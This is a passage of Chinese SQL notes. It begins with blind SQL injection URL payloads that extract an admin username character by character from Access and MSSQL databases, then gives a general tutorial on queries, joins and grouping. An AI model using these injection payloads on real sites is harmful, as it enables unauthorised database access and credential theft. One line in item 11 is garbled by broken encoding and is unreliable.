http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) between 30 and 130 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) between 30 and 130 and ID = 1 )
检测英文的范围
(ACCESS数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) between 90 and 100 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) between 90 and 100 and ID = 1 )
检测那个字符
(ACCESS数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) = 97 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) = 97 and ID = 1 )
常用函数
Access: asc (字符) SQLServer: unicode (字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer: nchar (数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer: substring (字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N + L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
and exists ( Select top 1 * From 用户 order by id)
1 .在查询结果中显示列名:
a.用as关键字: select name as ’姓名’ from students order by age
b.直接表示: select name ’姓名’ from students order by age
2 .精确查找:
a.用in限定范围: select * from students where native in (’湖南’, ’四川’)
b. between ... and : select * from students where age between 20 and 30
c.“ = ”: select * from students where name = ’李山’
d. like : select * from students where name like ’李 % ’ (注意查询条件中有“ % ”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’ % 李 % ’;若是第二个字为李,则应为’_李 % ’或’_李’或’_李_’。)
e. [] 匹配检查符: select * from courses where cno like ’ [ AC ] % ’ (表示或的关系,与" in (...)"类似,而且" [] "可以表示范围,如: select * from courses where cno like ’ [ A-C ] % ’)
3 .对于时间类型变量的处理
a. smalldatetime :直接按照字符串处理的方式进行处理,例如: select * from students where birth > = ’ 1980 - 1 - 1 ’ and birth <= ’ 1980 - 12 - 31 ’
4 .集函数
a. count ()求和,如: select count ( * ) from students (求学生总人数)
b. avg (列)求平均,
如: select avg (mark) from grades where cno = ’B2’
c. max (列)和min(列),求最大与最小
5 .分组group
常用于统计时,如分组查总数: select gender, count (sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列" group by "
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有" group by grade, mno, gender"
select grade, mno, gender, count ( * ) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno, count ( * ) from grades where mark < 60 group by sno having count ( * ) > 1
6 .UNION联合
合并查询结果,如:
SELECT * FROM students WHERE name like ‘张 % ’ UNION [ ALL ] SELECT * FROM students WHERE name like ‘李 % ’
7 .多表查询
a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno = s.sno JOIN courses c ON g.cno = c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno, max (coursename), count (sno) from courses LEFT JOIN grades ON courses.cno = grades.cno group by courses.cno
左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。
左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major from students FULL JOIN majors ON students.mno = majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno = c2.cno
采用别名解决问题。
d.交 * 连接
select lastname + firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积
8 .嵌套查询
a.用关键字IN,如查询猪猪山的同乡:
select * from students where native in ( select native from students where name = ’猪猪’)
b.使用关键字EXIST,比如,下面两句是等价的:
select * from students where sno in ( select sno from grades where cno = ’B2’)
select * from students where exists ( select * from grades where grades.sno = students.sno AND cno = ’B2’)
9 .关于排序order
a.对于排序order,有两种方法:asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno, count ( * ) , avg (mark) from grades group by sno having avg (mark) > 85 order by 3
10 .其他
a.对于有空格的识别名称,应该用" [] "括住。
b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“ || ”而all则相当于逻辑运算“ && ”
d.注意在做否定意义的查询是小心进入陷阱:
如,没有选修‘B2’课程的学生 :
select students. * from students, grades where students.sno = grades.sno AND grades.cno <> ’B2’
上面的查询方式是错误的,正确方式见下方:
select * from students where not exists ( select * from grades where grades.sno = students.sno AND cno = ’B2’)
11 .关于有难度多重嵌套查询的解决思想:如,选修了全睝 @纬痰难 ?br > select * from students where not exists ( select * from courses where NOT EXISTS ( select * from grades where sno = students.sno AND cno = courses.cno))
最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可